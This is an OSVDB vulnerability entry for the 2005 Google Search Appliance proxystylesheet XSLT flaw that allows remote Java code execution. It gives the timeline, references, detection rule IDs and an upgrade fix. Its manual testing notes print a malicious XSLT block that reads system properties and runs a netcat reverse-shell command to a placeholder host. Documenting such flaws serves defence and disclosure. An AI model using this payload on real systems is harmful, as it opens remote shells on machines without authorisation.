20981 : Google Search Appliance proxystylesheet XSLT Java Code Execution
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Views This Week	Views All Time	Added to OSVDB	Last Modified	Modified (since 2008)	Percent Complete
16	3422	over 6 years ago	about 1 year ago	5 times	90%

Timeline

Discovery Date	Disclosure Date	Exploit Publish Date
2005-06-10	2005-11-21	2005-11-21

Time to Exploit
164 days

Description

The Google Search Appliance contains a flaw that allows a remote attacker to execute arbitrary Java methods as an unprivileged user. The issue is due to the proxystylesheet parameter in the search request, which loads an external XSLT style sheet from a URL. The XSLT parser is based on Saxon, which allows Java method calls from within an XSLT document. This allows an attacker to execute arbitrary code and commands on the appliance.

Classification

Location: Remote / Network Access
Attack Type: Other
Impact: Loss of Integrity
Exploit: Exploit Public
Disclosure: OSVDB Verified
OSVDB: Web Related

Solution

Upgrade to the version specified by Google advisory GA-2005-08-m, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

Products

Google, Inc.	Mini Search Appliance	Unknown or Unspecified (not affected)
Google, Inc.	Search Appliance	Unknown or Unspecified (not affected)

References

Security Tracker: 1015246
Milw0rm: 1333
Exploit Database: 1333
Bugtraq ID: 15509
Secunia Advisory ID: 17644
CVE ID: 2005-3757 (see also: NVD)
Related OSVDB ID: 20977 20978 20979 20980
Metasploit ID: 20981
VUPEN Advisory: ADV-2005-2500
Generic Exploit URL: http://metasploit.com/projects/Framework/link.php?type=exploit&vers=2&name=google_proxystylesheet_exec
Other Advisory URL: http://metasploit.com/research/vulns/google_proxystylesheet/
News Article: http://news.techwhack.com/2526/221129-google-fixes-security-flaws-in-google-mini/
http://www.eweek.com/article2/0,1895,1891796,00.asp
http://www.techworld.com/networking/news/index.cfm?NewsID=4840
http://www.webpronews.com/insiderreports/searchinsider/wpn-49-20051122GoogleMiniNeededBigSecurityPatch.html

Tools & Filters

Snort	11223
	20241

Manual Testing Notes

Replace the proxystylesheet variable in the search URL with a URL to a malicious XSLT style sheet. This style sheet should contain a block like:

XSLT Version: <xsl:value-of select="system-property('xsl:version')"/> 
XSLT Vendor: <xsl:value-of select="system-property('xsl:vendor')" /> 
XSLT URL: <xsl:value-of select="system-property('xsl:vendor-url')" /> 
OS: <xsl:value-of select="sys:getProperty('os.name')" /> 
Version: <xsl:value-of select="sys:getProperty('os.version')" /> 
Arch: <xsl:value-of select="sys:getProperty('os.arch')" /> 
UserName: <xsl:value-of select="sys:getProperty('user.name')" /> 
UserHome: <xsl:value-of select="sys:getProperty('user.home')" /> 
UserDir: <xsl:value-of select="sys:getProperty('user.dir')" />

Executing command... 
<xsl:value-of select="run:exec(run:getRuntime(), 'sh -c nc$255.255.255.255$53|sh|nc$255.255.255.255$53')" />

<xsl:text disable-output-escaping="yes">

Credit

H D Moore - hdmmetasploit.com - DigitalOffense

CVSSv2 Score

CVSSv2 Base Score = 7.5
Source: nvd.nist.gov | Generated: 2005-11-29 | Disagree?

Blogs

This product uses the Daylife API but is not endorsed or certified by Daylife.

This section lists the latest news and blogs found via the daylife API (and for older items, the technorati API), which mention or otherwise discuss this vulnerability.

None found at this time

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